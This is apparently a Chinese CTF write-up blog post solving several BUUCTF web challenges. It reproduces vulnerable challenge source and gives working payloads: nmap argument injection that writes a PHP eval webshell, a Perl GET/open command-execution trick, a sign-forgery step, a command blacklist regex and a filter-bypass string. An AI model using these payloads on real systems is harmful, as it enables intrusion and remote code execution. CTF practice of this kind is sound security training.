第二周buu

buu"/>

第二周buu

buu2-3页

[De1CTF 2019]SSRF Me

美化代码

#! /usr/bin/env python
# #encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')app = Flask(__name__)secert_key = os.urandom(16)class Task:def __init__(self, action, param, sign, ip):self.action = actionself.param = paramself.sign = signself.sandbox = md5(ip)if(not os.path.exists(self.sandbox)):os.mkdir(self.sandbox)def Exec(self):result = {}result['code'] = 500if (self.checkSign()):if "scan" in self.action:tmpfile = open("./%s/result.txt" % self.sandbox, 'w')resp = scan(self.param)if (resp == "Connection Timeout"):result['data'] = respelse:print resptmpfile.write(resp)tmpfile.close()result['code'] = 200if "read" in self.action:f = open("./%s/result.txt" % self.sandbox, 'r')result['code'] = 200result['data'] = f.read()if result['code'] == 500:result['data'] = "Action Error"else:result['code'] = 500result['msg'] = "Sign Error"return resultdef checkSign(self):if (getSign(self.action, self.param) == self.sign):return Trueelse:return False@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():param = urllib.unquote(request.args.get("param", ""))action = "scan"return getSign(action, param)@app.route('/De1ta',methods=['GET','POST'])
def challenge():action = urllib.unquote(request.cookies.get("action"))param = urllib.unquote(request.args.get("param", ""))sign = urllib.unquote(request.cookies.get("sign"))ip = request.remote_addrif(waf(param)):return "No Hacker!!!!"task = Task(action, param, sign, ip)return json.dumps(task.Exec())@app.route('/')
def index():return open("code.txt","r").read()def scan(param):socket.setdefaulttimeout(1)try:return urllib.urlopen(param).read()[:50]except:return "Connection Timeout"def getSign(action, param):return hashlib.md5(secert_key + param + action).hexdigest()def md5(content):return hashlib.md5(content).hexdigest()def waf(param):check=param.strip().lower()if check.startswith("gopher") or check.startswith("file"):return Trueelse:return False
if __name__ == '__main__':app.debug = Falseapp.run(host='0.0.0.0',port=9999)

hint：flag.txt中有flag
首先，在路由中，De1ta传入四个参数，继续跟进Task，Exec函数返回结果；geneSign是getSign拼接传入的param和action
传参进入Exec函数后，为使checksign的条件getSign(self.action, self.param) == self.sign成立，而两个if判断scan或read在self.action内，然后写入result.txt
在geneSign，action的值固定是scan，传参为flag.txtread，拼接后为flag.txtreadscan保存在result.txt

在路由De1ta传参param=flag.txt；action=readscan sign； sign=0d1407b079950e26a67dbe038440080d
此时判断成立，获取flag

[网鼎杯 2020 朱雀组]Nmap

考察Nmap扫描结果保存的相关命令，和[BUUCTF 2018]Online Tool类似

看了一下wp，构造一下**’ -oN shell.txt '**，注意里面的空格，然后访问shell.txt

写shell即可

’ -oN a.php <?=@eval($_POST['a']);?> ’ hacked
那a.txt呢
’ -oN a.txt <?=@eval($_POST['a']);?> ’
过滤了php

pht呢？
不解析，字典fuzz一下。。。

phtml成功写入

[HITCON 2017]SSRFme

<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];}echo $_SERVER["REMOTE_ADDR"];$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);@mkdir($sandbox);@chdir($sandbox);$data = shell_exec("GET " . escapeshellarg($_GET["url"]));$info = pathinfo($_GET["filename"]);$dir  = str_replace(".", "", basename($info["dirname"]));@mkdir($dir);@chdir($dir);@file_put_contents(basename($info["basename"]), $data);highlight_file(__FILE__);

又是比较头疼的代码 X-Forward-For，基于ip创建沙箱文件夹
传参比较友好，传一个url和filename

会根据REMOTE_ADDR与单词orange的md5值创建一个文件夹“/sandbox/md5/”

?url=/&filename=aaa 尝试读取根目录，并创建名为aaa的文件

md5(orange183.24.178.223)=af1eabd267cea4ca607588c15ab3faf3
访问sandbox/af1eabd267cea4ca607588c15ab3faf3/aaa

要raadflag读取flag，url=/readflag&filename=x

不会解了，看一下wp
使用file协议url=file:bash - c /readflag&filename=x

perl脚本GET open命令漏洞
GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理
open存在命令执行，并且还支持file函数

参考文章：

[BSidesCF 2020]Had a bad day

开局两张图，内容全靠编
index.php?category=meowers
category测一下
读不了吗
这个是没有后缀的

<?php$file = $_GET['category'];if(isset($file)){if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){include ($file . '.php');}else{echo "Sorry, we currently only support woofers and meowers.";}}?>

category必须包含woofers，meowers，index
include($file,’.php’)
ctfshow写过伪协议的一些夹杂私货

[安洵杯 2019]easy_web

emmm，两次base64后，小葵看了一下是hex转了一下
index.php转回去，拿到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixi～ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>

md5强绕过，谷歌上积累过

if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {

这个过滤略显麻烦，f一直没有看见，一个个找
payload: ta\c%20/flag

[BUUCTF 2018]Online Tool

’<?php eval($_POST["a"]);?> -oG shell.php ’

sandbox/shell.php